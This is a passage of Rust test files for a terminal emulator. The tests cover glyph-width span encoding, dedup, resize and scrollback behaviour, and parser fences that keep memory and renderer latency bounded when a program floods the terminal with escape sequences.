/// The receiver is returned rather than dropped: dropping it disconnects the
/// channel and every subsequent listener send silently fails.
fn render(input: &str) -> (Vec<Span>, Receiver<Action>) {
let size = Size {
columns: 20,
screen_lines: 2,
scrollback: 100,
};
let (term, actions) = Terminal::new(size, Fences::ALL);
let shared = SharedTerminal::new(term);
shared.feed_fully(input.as_bytes());
let mut encoder = Encoder::new();
let frame = shared.render(&mut encoder);
let spans = frame
.rows
.into_iter()
.find(|row| row.line == 0)
.map(|row| row.spans)
.unwrap_or_default();
(spans, actions)
}
/// Apply the documented consumer rule and return `(column, cluster)` pairs,
/// dropping trailing blank padding.
///
/// This is the renderer's arithmetic, written out. Note what is *not* here: no
/// Unicode table, no zerowidth classifier, no grapheme segmentation. The
/// earlier draft of this helper carried a hand-rolled `is_zerowidth` matcher,
/// which is how we learned the encoding was under-specified -- if the fixture
/// needs a Unicode table to decode the wire, so does every real consumer.
fn placements(spans: &[Span]) -> Vec<(usize, String)> {
let mut placed = Vec::new();
for span in spans {
assert!(
span.counts_are_consistent(),
"encoder emitted an undecodable span: {span:?}"
);
let clusters: Vec<String> = if span.cluster_count == 1 {
vec![span.text.clone()]
} else {
span.text.chars().map(|c| c.to_string()).collect()
};
for (i, cluster) in clusters.into_iter().enumerate() {
if cluster != " " {
placed.push((span.column + i * span.width as usize, cluster));
}
}
}
placed
}
/// Max's case: mixed narrow and wide glyphs in one style. Every cluster must
/// land on the column the grid actually put it in.
#[test]
fn mixed_width_clusters_keep_their_columns() {
let (spans, _actions) = render("a\u{1F600}b\u{4E00}c");
assert_eq!(
placements(&spans),
vec![
(0, "a".into()),
(1, "\u{1F600}".into()),
(3, "b".into()),
(4, "\u{4E00}".into()),
(6, "c".into()),
],
"wide glyphs must advance two columns and narrow ones must not"
);
}
/// A combining mark rides with its base character and consumes no column of
/// its own, so the text that follows must not be displaced by it.
///
/// Against the previous encoding this row was a single span `"éxy"` at column
/// 0, and a consumer stepping one column per `char` placed `x` at 1 and `y`
/// at 2 -- both one column left of the truth.
#[test]
fn combining_marks_do_not_displace_following_text() {
let (spans, _actions) = render("e\u{0301}xy");
assert_eq!(
placements(&spans),
vec![(0, "e\u{0301}".into()), (1, "x".into()), (2, "y".into()),],
"a zerowidth mark must not consume a column"
);
}
/// A regional-indicator pair: two separate one-column cells. This is the case
/// that must split *per codepoint*.
#[test]
fn regional_indicator_flag_occupies_two_columns() {
let (spans, _actions) = render("\u{1F1FA}\u{1F1F8}X");
assert_eq!(
placements(&spans),
vec![
(0, "\u{1F1FA}".into()),
(1, "\u{1F1F8}".into()),
(2, "X".into()),
],
"regional indicators are one column each; X must sit at 2"
);
}
/// A keycap: one cell holding three codepoints. This is the case that must
/// split *per grapheme* -- the opposite rule from the flag above, which is why
/// the width and the cluster break both have to come from the grid.
#[test]
fn keycap_occupies_one_column() {
let (spans, _actions) = render("1\u{FE0F}\u{20E3}X");
assert_eq!(
placements(&spans),
vec![(0, "1\u{FE0F}\u{20E3}".into()), (1, "X".into()),],
"a keycap is one column; X must sit at 1"
);
}
/// Width is uniform within a span by construction. Without this a consumer
/// cannot multiply -- it would have to know each cluster's width individually,
/// which is the Unicode table this design exists to avoid.
#[test]
fn a_span_never_mixes_widths() {
let (spans, _actions) = render("ab\u{4E00}\u{4E00}cd");
for span in &spans {
let expected = span.width;
assert!(
span.width == 1 || span.width == 2,
"width must be 1 or 2, got {expected}"
);
}
let widths: Vec<u8> = spans.iter().map(|s| s.width).collect();
assert!(
widths.contains(&2),
"fixture must actually produce a wide span, got {widths:?}"
);
assert_eq!(
placements(&spans),
vec![
(0, "a".into()),
(1, "b".into()),
(2, "\u{4E00}".into()),
(4, "\u{4E00}".into()),
(6, "c".into()),
(7, "d".into()),
],
"two adjacent wide glyphs must advance two columns each"
);
}
/// `cluster_count` is what makes the wire decodable without a Unicode table,
/// so it is asserted directly here rather than only implied by placements.
///
/// The decisive pair: both spans below are width 1 with more than one `char`
/// of text, and they differ *only* in whether the count tracks the char count.
/// A consumer without that number cannot tell them apart -- which is the
/// defect Mari caught in the previous encoding.
#[test]
fn cluster_count_distinguishes_a_marked_cluster_from_a_plain_run() {
let (marked, _a) = render("e\u{0301}");
let marked = marked.first().expect("a span must be emitted");
assert_eq!(marked.text.chars().count(), 2, "base plus combining mark");
assert_eq!(marked.cluster_count, 1, "one cluster occupying one column");
// The plain run absorbs the row's blank padding, so its length is the
// viewport width rather than 2 -- what matters is that the count tracks
// the char count instead of collapsing to 1.
let (plain, _b) = render("ab");
let plain = plain.first().expect("a span must be emitted");
assert!(plain.cluster_count > 1, "a plain run is not one cluster");
assert_eq!(
usize::from(plain.cluster_count),
plain.text.chars().count(),
"one cluster per char"
);
assert_eq!(marked.width, plain.width, "both are width 1");
assert!(marked.counts_are_consistent() && plain.counts_are_consistent());
}
/// The join guard has two halves: the previous cell must not have carried
/// marks (`open`), and the current cell must not carry them (`joinable`).
/// Every fixture above exercises only the first half -- a plain cluster
/// following a marked one. This one exercises the second: a *marked* cluster
/// arriving after a plain run, which is the only path on which the run in
/// progress is handed text holding more `char`s than the one cluster its
/// count is about to be incremented by.
///
/// Sami found the hole. With `joinable` dropped from the guard, a release
/// build silently emits `Span { column: 0, text: "xyé", cluster_count: 3 }`:
/// four chars counted as three, so the consumer's rule splits per char and
/// places the combining mark on top of `z`.
#[test]
fn a_marked_cluster_after_a_plain_run_starts_its_own_span() {
let (spans, _actions) = render("xye\u{0301}z");
assert_eq!(
placements(&spans),
vec![
(0, "x".into()),
(1, "y".into()),
(2, "e\u{0301}".into()),
(3, "z".into()),
],
"a marked cluster must not be absorbed into the run in front of it"
);
}
/// `cluster_count` is a `u16` and `Size.columns` is an unclamped `usize`
/// (`lib.rs:50`) that no production caller bounds yet, so a row of uniform
/// cells wider than `u16::MAX` reaches the join guard's overflow refusal.
/// The guard is live code, not paranoia, and this fixture is what says so.
///
/// Refusing to join produces a shape the consumer already handles -- the run
/// ends and a new span starts at the next column -- whereas wrapping produces
/// an undecodable span, the same failure as the marked-after-plain case above.
#[test]
fn a_run_longer_than_u16_max_splits_rather_than_wrapping() {
let columns = 70_000;
let size = Size {
columns,
screen_lines: 1,
scrollback: 0,
};
let (term, _actions) = Terminal::new(size, Fences::ALL);
let shared = SharedTerminal::new(term);
// One character is enough: the rest of the row is blank cells of the same
// style, so the whole row is a single candidate run.
shared.feed_fully(b"a");
let mut encoder = Encoder::new();
let frame = shared.render(&mut encoder);
let spans = &frame
.rows
.iter()
.find(|row| row.line == 0)
.expect("the fed row must be present")
.spans;
assert!(
spans.iter().all(|span| span.counts_are_consistent()),
"an oversized run must not wrap its count: {spans:?}"
);
let counts: Vec<u16> = spans.iter().map(|span| span.cluster_count).collect();
let columns_at: Vec<usize> = spans.iter().map(|span| span.column).collect();
assert_eq!(
counts,
vec![u16::MAX, (columns - u16::MAX as usize) as u16],
"the run must end at the last representable count"
);
assert_eq!(
columns_at,
vec![0, u16::MAX as usize],
"the second span starts where the first left off"
);
let chars: usize = spans.iter().map(|span| span.text.chars().count()).sum();
assert_eq!(chars, columns, "no cell may be dropped by the split");
}
/// Wrapping marks the last cell of the row with `WRAPLINE` (upstream
/// `term/mod.rs:968`). That bit records where the text happened to wrap, not
/// how the text looks, so it must not reach the style key: if it did, the last
/// column of every wrapped row would split off into a span of its own -- an
/// extra wire record per wrapped line, and span boundaries that move when the
/// window is resized.
///
/// Quinn found this by reading `cell.rs:21` while checking the `WIDE_CHAR`
/// mask; this fixture is the proof that was missing from the source read.
#[test]
fn wrapping_does_not_split_a_uniform_run() {
let size = Size {
columns: 5,
screen_lines: 3,
scrollback: 100,
};
let (term, _actions) = Terminal::new(size, Fences::ALL);
let shared = SharedTerminal::new(term);
// Six narrow cells in one style: five fill row 0 and set WRAPLINE on the
// last of them, the sixth lands on row 1.
shared.feed_fully(b"abcdef");
let mut encoder = Encoder::new();
let frame = shared.render(&mut encoder);
let first = frame
.rows
.iter()
.find(|row| row.line == 0)
.expect("wrapped row must be present");
let texts: Vec<&str> = first.spans.iter().map(|s| s.text.as_str()).collect();
assert_eq!(
texts,
vec!["abcde"],
"a wrapped row of one style is one span; WRAPLINE must not break it"
);
}
/// A wide glyph at the last usable column wraps to the next row rather than
/// straddling the edge. The contract must hold on the wrapped row too.
#[test]
fn leading_wide_glyph_after_wrap_is_positioned_from_column_zero() {
let size = Size {
columns: 5,
screen_lines: 3,
scrollback: 100,
};
let (term, _actions) = Terminal::new(size, Fences::ALL);
let shared = SharedTerminal::new(term);
// Four narrow cells fill 0..=3, leaving one column: the wide glyph cannot
// fit and moves to the next row.
shared.feed_fully("abcd\u{4E00}".as_bytes());
let mut encoder = Encoder::new();
let frame = shared.render(&mut encoder);
let second = frame
.rows
.iter()
.find(|row| row.line == 1)
.expect("wrapped row must be present");
assert_eq!(
placements(&second.spans),
vec![(0, "\u{4E00}".into())],
"a wrapped wide glyph starts at column 0 of the next row"
);
}

View File

@@ -0,0 +1,41 @@
use buzz_terminal::damage::Encoder;
use buzz_terminal::fences::Fences;
use buzz_terminal::{SharedTerminal, Size, Terminal};
#[test]
fn space_over_blank_cell_publishes_cursor_only_frame() {
let (terminal, _actions) = Terminal::new(
Size {
columns: 8,
screen_lines: 2,
scrollback: 10,
},
Fences::ALL,
);
let terminal = SharedTerminal::new(terminal);
let mut encoder = Encoder::new();
let initial = terminal.render(&mut encoder);
assert!(!initial.is_empty());
assert_eq!(initial.cursor.column, 0);
terminal.feed_fully(b" ");
let after_space = terminal.render(&mut encoder);
assert!(
after_space.rows.is_empty(),
"a blank cell overwritten with a space must be row-deduplicated"
);
assert_eq!(after_space.cursor.column, 1);
assert!(after_space.cursor_changed);
assert!(
!after_space.is_empty(),
"cursor movement must make the frame publishable"
);
let idle = terminal.render(&mut encoder);
assert!(
idle.is_empty(),
"an unchanged cursor must not create traffic"
);
}

View File

@@ -0,0 +1,169 @@
//! Mutation-sensitive byte fixtures for the two parser fences.
//!
//! These use the shipping `Terminal::feed` path. Arms that could be masked by
//! the other fence disable it explicitly; the switches are runtime values, not
//! cargo features, so the default test binary always contains every arm.
use alacritty_terminal::grid::Dimensions;
use alacritty_terminal::index::{Column, Line, Point};
use buzz_terminal::fences::{Fences, OSC_BUDGET, SYNC_CAP};
use buzz_terminal::{Size, Terminal};
const CHUNK: usize = 8192;
const G1_BYTES: usize = 2 << 20;
const G2_FRAMES: usize = 40;
const G2_FRAME_BYTES: usize = 1_900 * 1024;
fn size() -> Size {
Size {
columns: 120,
screen_lines: 40,
scrollback: 2000,
}
}
fn feed_synchronized(term: &mut Terminal, payload: &[u8], close: bool) {
term.feed_fully(b"\x1b[?2026h");
for chunk in payload.chunks(CHUNK) {
term.feed_fully(chunk);
}
if close {
term.feed_fully(b"\x1b[?2026l");
}
}
fn repeated(pattern: &[u8], bytes: usize) -> Vec<u8> {
pattern.iter().copied().cycle().take(bytes).collect()
}
fn count_markers(term: &Terminal, markers: usize) -> usize {
let grid = term.term().grid();
let mut text = String::new();
let top = -(grid.history_size() as i32);
for line in top..term.size().screen_lines as i32 {
for column in 0..term.size().columns {
text.push(grid[Point::new(Line(line), Column(column))].c);
}
text.push('\n');
}
(0..markers)
.filter(|m| text.contains(&format!("MK{m:03}")))
.count()
}
fn legitimate_frame(markers: usize, bytes: usize) -> Vec<u8> {
let mut payload = Vec::with_capacity(bytes);
for marker in 0..markers {
payload.extend_from_slice(format!("MK{marker:03}\r\n").as_bytes());
let target = bytes * (marker + 1) / markers;
while payload.len() < target {
payload.extend_from_slice(b"\x1b[1;32mx\x1b[0m");
}
payload.extend_from_slice(b"\r\n");
}
payload.truncate(bytes);
payload
}
/// G1: every hostile content shape must remain below the deterministic byte
/// bound, and the same shape with F1 deleted must cross it. Keeping both arms
/// adjacent prevents a simplified fixture from becoming vacuously cheap.
#[test]
fn g1_sync_abort_bounds_all_hostile_shapes() {
let shapes: [(&str, &[u8]); 5] = [
("sgr", b"\x1b[1;32mbuzz\x1b[0m\r\n"),
("ascii", b"buzz substrate output\r\n"),
("emoji", "🐝🚀✨\r\n".as_bytes()),
("zalgo", "z\u{0301}\u{0302}\u{0303}\u{0304}\r\n".as_bytes()),
("truecolor", b"\x1b[38;2;255;0;128mRGB\x1b[0m\r\n"),
];
for (name, pattern) in shapes {
let payload = repeated(pattern, G1_BYTES);
let (mut fenced, _) = Terminal::new(size(), Fences::ALL);
feed_synchronized(&mut fenced, &payload, false);
let fenced_stats = fenced.stats();
assert!(fenced_stats.sync_aborts > 0, "{name}: F1 never fired");
assert!(
fenced_stats.max_release <= 2 * SYNC_CAP,
"{name}: fenced release {} exceeds 128 KiB",
fenced_stats.max_release
);
let (mut unfenced, _) = Terminal::new(size(), Fences::NONE);
feed_synchronized(&mut unfenced, &payload, false);
let unfenced_stats = unfenced.stats();
assert_eq!(unfenced_stats.sync_aborts, 0, "{name}: control enabled F1");
assert!(
unfenced_stats.max_release > 2 * SYNC_CAP,
"{name}: unfenced release {} stayed inside the gate; fixture is vacuous",
unfenced_stats.max_release
);
}
}
/// G2 arm 1: deletion oracle. F1 remains enabled because this arm proves F2
/// deletion under the combined production configuration.
#[test]
fn g2_hostile_unsynchronized_osc_resets_parser() {
let (mut term, _) = Terminal::new(size(), Fences::ALL);
term.feed_fully(b"\x1b]0;");
for chunk in repeated(b"A", OSC_BUDGET * 4).chunks(CHUNK) {
term.feed_fully(chunk);
}
assert!(term.stats().osc_resets > 0, "F2 never rebuilt the parser");
}
/// G2 arm 2: every synchronized release is attributed. F1 is disabled so its
/// small abort releases cannot mask an implementation that omits ESU flushes.
#[test]
fn g2_each_synchronized_flush_is_attributed() {
let payload = repeated(b"A", G2_FRAME_BYTES);
let (mut term, _) = Terminal::new(size(), Fences::OSC_ONLY);
for _ in 0..G2_FRAMES {
feed_synchronized(&mut term, &payload, true);
}
let stats = term.stats();
assert_eq!(stats.sync_aborts, 0, "F1 must be disabled in this arm");
assert_eq!(
stats.osc_resets, G2_FRAMES as u64,
"expected one reset for each atomic synchronized release"
);
assert!(
stats.charged_bytes >= (G2_FRAMES * G2_FRAME_BYTES) as u64,
"flush bytes were omitted from attribution: {} charged",
stats.charged_bytes
);
}
/// G2 arm 3: parser-visible attribution preserves a legitimate 1.5 MiB frame.
/// F1 is disabled; raw-input counting would reset mid-frame and lose markers.
#[test]
fn g2_legitimate_large_frame_preserves_all_markers() {
let markers = 200;
let payload = legitimate_frame(markers, 1_500 * 1024);
let (mut term, _) = Terminal::new(size(), Fences::OSC_ONLY);
feed_synchronized(&mut term, &payload, true);
assert_eq!(
count_markers(&term, markers),
markers,
"legitimate frame lost markers"
);
}
/// Legitimacy control: neither fence alone nor the production combination may
/// corrupt a normal synchronized frame.
#[test]
fn g2_legitimate_frame_survives_each_fence_configuration() {
let markers = 200;
let payload = legitimate_frame(markers, 128 * 1024);
for fences in [Fences::SYNC_ONLY, Fences::OSC_ONLY, Fences::ALL] {
let (mut term, _) = Terminal::new(size(), fences);
feed_synchronized(&mut term, &payload, true);
assert_eq!(
count_markers(&term, markers),
markers,
"{fences:?} lost markers"
);
}
}

View File

@@ -0,0 +1,156 @@
//! G3: the renderer's wait for the terminal lock, under flood.
//!
//! The plan originally required "reader hold < 16.7 ms". That requirement was
//! struck: measured under a 180 MB/s flood, reader hold is p50 1 us while
//! renderer *acquire* is p50 4245 us. Hold time passes trivially while the
//! window is visibly stuck, because 0.389% of feeds carry 96.4% of the lock
//! time and the p50 hold never sees them. What a human feels is the wait, so
//! that is what is gated here.
//!
//! F1 is the fence being tested. It is a memory bound *and* a latency fence:
//! it turns one ~2 MiB parser release into ~64 KiB pieces, and the renderer's
//! wait falls with it.
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::Duration;
use buzz_terminal::damage::Encoder;
use buzz_terminal::fences::Fences;
use buzz_terminal::{SharedTerminal, Size, Terminal};
/// One frame at 60 Hz. No acquire may exceed this: a single wait this long is
/// a dropped frame regardless of how good the distribution looks.
///
/// Unlike the p95 below, this bound **cannot be protected by headroom**, and
/// that asymmetry is why this test is `#[ignore]`d and run only in release on
/// an idle host. A quantile discards its worst samples by construction, so it
/// degrades gracefully as a machine gets noisy; a maximum over `FRAMES` samples
/// is a single observation, and any one scheduler preemption exceeds it. There
/// is no budget that makes the max arm robust to contention -- the tail it
/// catches belongs to the scheduler, not to this code.
///
/// Measured on one 16-core host at `FRAMES = 200`: at load average ~6 the gate
/// passes; at ~31 it fails with p95 65535 us / max 164889 us. A run at ambient
/// load produced p95 1023 us -- 4x *inside* budget -- while max alone blew at
/// 38150 us.
///
/// So the repair for a flake here is to fix the host, never to raise this
/// number. Raising it is the one change that silently removes the only assert
/// that catches the user-visible failure: a hitch is a max-event, and a
/// p95-only gate passes a run containing a 38 ms stall.
const FRAME_MICROS: u64 = 16_667;
/// p95 budget. Measured at 127 us with F1 on -- 31x of headroom, which is the
/// margin that lets *this* arm tolerate a loaded machine without becoming a
/// coin flip. The reasoning covers the quantile only; see `FRAME_MICROS`.
const P95_MICROS: u64 = 4_000;
/// Frames sampled per arm. Counted rather than timed: sample count under a
/// wall-clock budget is a function of how slow the arm is, so a duration-based
/// loop gives the *unfenced* arm the fewest samples -- fewest exactly where the
/// tail being measured lives. Counting frames makes both arms the same
/// experiment.
const FRAMES: u32 = 200;
/// A ~2 MiB synchronized update, closed, replayed in PTY-sized reads.
///
/// The payload's *shape* is the load-bearing part, and it cost me a wrong
/// result to learn it. An earlier version poured 8 KiB blocks of `A` into an
/// update that was never closed. It floods just as many bytes per second, and
/// it does not discriminate F1 at all: measured p95 63 us fenced vs 63 us
/// unfenced. Plain `A` overwrites one line at a few ns per byte, so even a
/// 2 MiB release is a short lock hold.
///
/// What makes a release expensive is work per byte -- SGR state changes and
/// `\r\n` line feeds that push rows into scrollback. With that payload the same
/// experiment separates by 129x. So this gate is sensitive to input shape and
/// not merely to input rate, which is why the control below is not optional.
fn flood(shared: &SharedTerminal, stop: &AtomicBool) {
let mut payload: Vec<u8> = b"\x1b[?2026h".to_vec();
while payload.len() < (2 << 20) {
payload.extend_from_slice(b"\x1b[1;32mbuzz\x1b[0m substrate line of output 0123456789\r\n");
}
payload.extend_from_slice(b"\x1b[?2026l");
while !stop.load(Ordering::Relaxed) {
for chunk in payload.chunks(8192) {
if stop.load(Ordering::Relaxed) {
return;
}
shared.feed_fully(chunk);
}
}
}
/// Render at 60 Hz for the duration of the flood, and report the renderer
/// plane's acquisition latencies.
fn measure(fences: Fences) -> buzz_terminal::AcquireStats {
let size = Size {
columns: 200,
screen_lines: 50,
scrollback: 10_000,
};
let (term, _actions) = Terminal::new(size, fences);
let shared = Arc::new(SharedTerminal::new(term));
let stop = Arc::new(AtomicBool::new(false));
let writer = {
let (shared, stop) = (Arc::clone(&shared), Arc::clone(&stop));
thread::spawn(move || flood(&shared, &stop))
};
// Don't measure the ramp: let the flood reach steady state, then clear.
thread::sleep(Duration::from_millis(200));
shared.renderer_acquire().reset();
let mut encoder = Encoder::new();
for _ in 0..FRAMES {
shared.render(&mut encoder);
thread::sleep(Duration::from_micros(FRAME_MICROS));
}
let stats = shared.renderer_acquire().snapshot();
stop.store(true, Ordering::Relaxed);
writer.join().expect("flood thread panicked");
assert_eq!(stats.acquisitions, FRAMES as u64, "meter lost samples");
stats
}
/// G3: with F1 on, the renderer's wait stays inside a frame -- and the
/// unfenced control shows the fence is what puts it there.
///
/// Both arms live in one `#[test]` on purpose. As separate tests they run
/// concurrently by default, each with its own flood thread, so each arm's
/// measurement includes the other arm's CPU load and the control's ratio
/// becomes a race between two floods rather than a statement about F1.
#[test]
#[ignore = "native performance gate; run release-mode on a known-idle host"]
fn g3_renderer_acquire_stays_within_frame_budget() {
let fenced = measure(Fences::ALL);
let p95 = fenced.percentile_micros(0.95);
assert!(
p95 <= P95_MICROS,
"renderer acquire p95 {p95} us over the {P95_MICROS} us budget (max {} us, n={})",
fenced.max_micros,
fenced.acquisitions
);
assert!(
fenced.max_micros <= FRAME_MICROS,
"renderer waited {} us for the terminal lock -- a dropped frame (p95 {p95} us, n={})",
fenced.max_micros,
fenced.acquisitions
);
// The control. Without it this gate could pass because the fixture never
// contended -- green over an experiment that did not run.
let unfenced = measure(Fences::OSC_ONLY);
assert!(
unfenced.max_micros > fenced.max_micros.max(1) * 4,
"unfenced renderer max {} us vs fenced {} us -- F1 is not what holds \
renderer latency down, and this gate is measuring something else",
unfenced.max_micros,
fenced.max_micros
);
}

View File

@@ -0,0 +1,196 @@
//! The resize seam: what a consumer is allowed to rely on across a reflow.
//!
//! The dedup encoder caches a hash per line. A resize reflows content into
//! rows of a different width, so those cached hashes describe a grid that no
//! longer exists -- if a resize did not force a full frame, dedup could
//! suppress a row whose content genuinely changed and leave the renderer
//! showing reflowed-away text.
//!
//! It does force one: upstream's `TermDamageState::resize` sets `full`
//! (`alacritty_terminal-0.26.0` term/mod.rs:240). These fixtures hold that
//! behaviour to the seam, because it is upstream's invariant and not ours.
use buzz_terminal::damage::Encoder;
use buzz_terminal::fences::Fences;
use buzz_terminal::{Action, SharedTerminal, Size, Terminal};
use std::sync::mpsc::Receiver;
/// The receiver is returned rather than dropped: dropping it disconnects the
/// channel, and every subsequent listener send silently fails. These fixtures
/// don't assert on actions, but a fixture that quietly disables a code path is
/// how a future assertion gets written against a dead one.
fn shared(size: Size) -> (SharedTerminal, Receiver<Action>) {
let (term, actions) = Terminal::new(size, Fences::ALL);
(SharedTerminal::new(term), actions)
}
fn size(columns: usize) -> Size {
Size {
columns,
screen_lines: 10,
scrollback: 1000,
}
}
fn grid(columns: usize, screen_lines: usize) -> Size {
Size {
columns,
screen_lines,
scrollback: 1000,
}
}
/// A resize invalidates dedup and republishes the whole grid at the new width.
#[test]
fn resize_forces_a_full_frame_at_the_new_width() {
let (shared, _actions) = shared(size(40));
let mut encoder = Encoder::new();
shared.feed_fully(b"\x1b[2J\x1b[Hhello world\r\nsecond line\r\n");
let first = shared.render(&mut encoder);
assert!(first.full, "first frame after a fresh Term must be full");
assert_eq!(first.viewport.columns, 40);
assert_eq!(first.viewport.generation, 0);
// Nothing changed: dedup suppresses everything. Without this the next
// assertion could pass simply because every frame is full.
let idle = shared.render(&mut encoder);
assert!(!idle.full, "an unchanged grid must not republish");
assert!(
idle.rows.is_empty(),
"dedup let {} unchanged rows through",
idle.rows.len()
);
let applied = shared.resize(size(20));
assert_eq!(
applied.columns, 20,
"resize did not report the grid it applied"
);
assert_eq!(
applied.generation, 1,
"generation must advance across a resize"
);
let after = shared.render(&mut encoder);
assert!(
after.full,
"a resize must invalidate the renderer's cached rows"
);
assert_eq!(
after.viewport, applied,
"frame's viewport disagrees with the one resize reported applying"
);
assert_eq!(after.rows.len(), 10, "full frame must carry every line");
let row0: String = after.rows[0]
.spans
.iter()
.map(|s| s.text.as_str())
.collect();
assert_eq!(row0.chars().count(), 20, "row emitted at the old width");
assert!(
row0.starts_with("hello world"),
"content lost across reflow: {row0:?}"
);
}
/// A no-op resize is not a resize: it must not burn a generation, or every
/// `ResizeObserver` tick would look like a discontinuity to the consumer.
#[test]
fn identical_resize_is_inert() {
let (shared, _actions) = shared(size(40));
let mut encoder = Encoder::new();
shared.feed_fully(b"hello");
shared.render(&mut encoder);
let applied = shared.resize(size(40));
assert_eq!(
applied.generation, 0,
"a same-size resize advanced the generation"
);
let after = shared.render(&mut encoder);
assert_eq!(after.viewport, applied);
assert!(
!after.full,
"a same-size resize forced a needless full repaint"
);
}
/// A **full frame must carry every row**, including rows whose content is
/// byte-identical to what sat at that index before the resize.
///
/// This is the arm that catches a dedup cache surviving a full frame, and the
/// width-changing fixture above does *not* catch it: changing the width changes
/// every row's cell contents, so the hashes differ and the rows are emitted for
/// the wrong reason. A **height-only** resize keeps the width, so reflowed rows
/// hash exactly as before -- and a stale cache suppresses them right after the
/// consumer was told to discard what it had. The result is a renderer holding
/// nothing where content should be.
///
/// Verified concretely: growing 10 -> 20 lines moves "hello world" from row 0
/// to row 1, so correctness here is not merely about frame bookkeeping.
#[test]
fn full_frame_after_height_resize_republishes_unchanged_rows() {
let (shared, _actions) = shared(grid(40, 10));
let mut encoder = Encoder::new();
shared.feed_fully(b"\x1b[2J\x1b[Hhello world\r\nsecond line");
let first = shared.render(&mut encoder);
assert!(first.full);
assert_eq!(first.rows.len(), 10);
shared.resize(grid(40, 20));
let after = shared.render(&mut encoder);
assert!(
after.full,
"a resize must invalidate the renderer's cached rows"
);
assert_eq!(after.viewport.screen_lines, 20);
assert_eq!(
after.rows.len(),
20,
"full frame carried {} of 20 rows -- dedup suppressed rows the consumer \
was simultaneously told to discard, leaving them blank",
after.rows.len()
);
}
/// A frame is stamped with the grid it was **captured on**, and a later resize
/// does not retroactively re-label it.
///
/// This is the cross-transport race in the integration lane: frame delivery and
/// the resize call are separate paths, so a generation-N frame can arrive after
/// generation N+1 has been applied. Rejecting it requires the stamp to be
/// capture-time truth.
///
/// Note what is and is not proven here. That an owned `Frame` cannot mutate is
/// guaranteed by the language, so asserting it against a copy of itself would
/// be tautological. What this asserts is that `capture()` stamps the viewport
/// as it was **at capture**, against explicit expected values -- a `capture()`
/// that read the viewport a moment later, or a `Frame` that carried a handle
/// back to the terminal, would fail here.
#[test]
fn a_frame_is_stamped_with_the_grid_it_was_captured_on() {
let (shared, _actions) = shared(grid(40, 10));
let mut encoder = Encoder::new();
shared.feed_fully(b"\x1b[2J\x1b[Hhello world");
let in_flight = shared.render(&mut encoder);
assert_eq!(in_flight.viewport.generation, 0);
assert_eq!(in_flight.viewport.columns, 40);
let applied = shared.resize(grid(20, 10));
assert_eq!(applied.generation, 1);
assert_eq!(applied.columns, 20);
// The held frame still describes the pre-resize grid, so a consumer can
// compare the two and discard it rather than paint 40-column rows onto a
// 20-column grid.
assert_eq!(
in_flight.viewport.columns, 40,
"a frame captured before the resize describes the post-resize grid; \
a stale frame arriving late would be indistinguishable from a fresh one"
);
assert_eq!(in_flight.viewport.generation, 0);
assert_ne!(in_flight.viewport, applied);
}

View File

@@ -0,0 +1,399 @@
//! Reaching the scrollback the engine has always been keeping.
//!
//! The grid retains 10k lines in production and, before this, nothing could
//! move the viewport off the live edge. Three things have to hold at once for
//! that to become usable, and each one fails silently on its own:
//!
//! 1. **Direction.** A flipped sign still scrolls, still clamps, and still
//! repaints. Only a human notices. So the direction is asserted here, in
//! test names, rather than left to the caller to get right.
//! 2. **Coordinates.** Capture reads screen rows out of a grid indexed from
//! the live edge. Off-by-the-offset shows *some* plausible text.
//! 3. **Dedup.** The renderer's per-row hashes describe the screen it last
//! saw. Scrolling changes every row without changing the grid, so a scroll
//! that consumed the full-damage flag would leave those hashes describing
//! a viewport that is no longer shown -- and they would then suppress a row
//! that really did change.
use buzz_terminal::damage::{Encoder, Frame};
use buzz_terminal::fences::Fences;
use buzz_terminal::{Action, SharedTerminal, Size, Terminal};
use std::sync::mpsc::Receiver;
/// The receiver is returned rather than dropped: dropping it disconnects the
/// channel and every subsequent listener send silently fails.
fn terminal(
columns: usize,
screen_lines: usize,
scrollback: usize,
) -> (SharedTerminal, Receiver<Action>) {
let size = Size {
columns,
screen_lines,
scrollback,
};
let (term, actions) = Terminal::new(size, Fences::ALL);
(SharedTerminal::new(term), actions)
}
/// The text of every row the frame carries, indexed by screen row.
///
/// Blank rows are kept as empty strings rather than filtered out: this suite
/// is about *which row shows which line*, and dropping the blanks would
/// renumber every row after one.
fn rows_by_line(frame: &Frame) -> Vec<(usize, String)> {
frame
.rows
.iter()
.map(|row| {
(
row.line,
row.spans
.iter()
.map(|span| span.text.as_str())
.collect::<String>()
.trim_end()
.to_string(),
)
})
.collect()
}
/// Just the text, in screen order. Only meaningful for a full frame.
fn screen(frame: &Frame) -> Vec<String> {
rows_by_line(frame)
.into_iter()
.map(|(_, text)| text)
.collect()
}
/// Fill history with numbered lines, then take a caught-up renderer.
///
/// Returns the terminal and an encoder that has already consumed the damage
/// from that output, so anything a later assertion sees is caused by the
/// thing under test rather than by the fixture.
fn scrolled_terminal(lines: usize) -> (SharedTerminal, Receiver<Action>, Encoder) {
let (shared, actions) = terminal(20, 4, 100);
let payload = (1..=lines)
.map(|n| format!("L{n:02}"))
.collect::<Vec<_>>()
.join("\r\n");
shared.feed_fully(payload.as_bytes());
let mut renderer = Encoder::new();
let _ = shared.render(&mut renderer);
(shared, actions, renderer)
}
#[test]
fn the_fixture_starts_at_the_live_edge_showing_the_newest_lines() {
let (shared, _actions, _) = scrolled_terminal(10);
let mut encoder = Encoder::new();
assert_eq!(
screen(&shared.snapshot(&mut encoder)),
vec!["L07", "L08", "L09", "L10"]
);
assert_eq!(shared.lock().display_offset(), 0);
}
/// **The direction, at the engine boundary.** Positive goes *into* history.
///
/// This is upstream's convention and the reason the embedder negates the DOM
/// delta exactly once. If this assertion and `terminal_scroll`'s negation are
/// ever flipped together the pair still passes -- which is why the embedder's
/// own direction test asserts against the DOM sign rather than against this
/// one.
#[test]
fn positive_lines_scroll_backwards_into_history() {
let (shared, _actions, _) = scrolled_terminal(10);
assert!(shared.scroll(2), "two lines of history exist to move into");
let mut encoder = Encoder::new();
assert_eq!(
screen(&shared.snapshot(&mut encoder)),
vec!["L05", "L06", "L07", "L08"],
"scrolling back two lines must show two older lines"
);
assert_eq!(shared.lock().display_offset(), 2);
}
#[test]
fn negative_lines_scroll_forwards_towards_the_live_edge() {
let (shared, _actions, _) = scrolled_terminal(10);
assert!(shared.scroll(3));
assert!(shared.scroll(-1), "one line back towards the edge");
let mut encoder = Encoder::new();
assert_eq!(
screen(&shared.snapshot(&mut encoder)),
vec!["L05", "L06", "L07", "L08"]
);
assert_eq!(shared.lock().display_offset(), 2);
}
/// The momentum guard. A trackpad flick keeps delivering events for about a
